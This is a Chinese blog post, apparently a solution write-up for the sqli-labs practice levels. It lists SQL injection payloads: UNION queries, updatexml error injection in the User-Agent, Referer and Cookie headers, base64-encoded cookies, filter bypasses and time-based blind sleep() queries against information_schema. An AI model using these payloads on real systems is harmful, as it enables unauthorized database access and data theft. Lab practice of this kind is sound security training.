sql注入

本文详细介绍了SQL注入的各种方法,包括有回显的注入、报错注入、盲注、宽字节注入和堆叠注入等。通过示例展示了如何利用payload在URL、Header和Cookie中进行注入,同时提到了base64编码的应用和如何利用sleep函数来判断SQL语句的执行情况。文章还涵盖了大小写、双写绕过以及不同类型的注入技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

直接放图

有回显的地方可以插入sql语句,pyload看url

order by 找出3个字段
union select 1,2,3
在这里插入图片描述2,3就是显示位,可以放sql语句,–+为了注释后面语句
例如这个
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

报错注入三种都试一下paylod里面放sql语句

加粗样式
在这里插入图片描述
第七题传个马,然后。。。。。然后我没菜刀
在这里插入图片描述
第八题盲注 就是瞎猜(开个玩笑)通过页面是否正确返回来判断 例如

在这里插入图片描述
在这里插入图片描述

后面的逻辑改成sql语句盲注

第九题,显示一样,加一个sleep函数区分是否执行和第八题一样
第十题,双引号盲注,剩下的和第九题一样
第十一题,抓包改参
莫名其妙抓不了包
uname=0’ union select 1,2 --+&passwd=admin&submit=Submit
第十二题,和十一题一样,单引号改双引号
uname=0") union select 1,database() --+ &passwd=admin&submit=Submit
第十三题
在这里插入图片描述
第十四题
在这里插入图片描述
第十五
在这里插入图片描述
十六
sleep函数
在这里插入图片描述
十八
构造User-Agent
payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #

十九
Referer
Referer: http://localhost/sqli-labs/Less-19/ ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
二十
构造cookie
payload-header:Cookie: uname=admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

base64编码

二十一
union联查
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixlbWFpbF9pZCBmcm9tIGVtYWlscyAj=
二十二同上
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGVtYWlsX2lkIGZyb20gZW1haWxzICM=
二十三
由于bun掉了注释符构造or ‘1’='1来补全sql语句数字2是回显点
在这里插入图片描述
二十四
任意修改
先注册然后修改
UPDATE users SET PASSWORD=’666666’ where username=’ghost’ #’ and password=’123456’
把123456改为666666
二十五
盲注双写绕过
在这里插入图片描述
二十六
5是回显点,用%A0替代空格使用,用&&(%26%26)替代AND使用
在这里插入图片描述
二十七
大小写绕过
二十八
在这里插入图片描述
29
不会

宽字节注入

32
在这里插入图片描述
在这里插入图片描述
35
在这里插入图片描述
36
在这里插入图片描述
37
在这里插入图片描述

堆叠注入

38
在这里插入图片描述
39
在这里插入图片描述
40
在这里插入图片描述
41
盲注
48
在这里插入图片描述
49
同上加一个sleep
50
在这里插入图片描述
51
在这里插入图片描述
52
同50
53
同51
62
sleep
在这里插入图片描述
?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))–+
63同上
单引号
64同上
双括号
65
?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值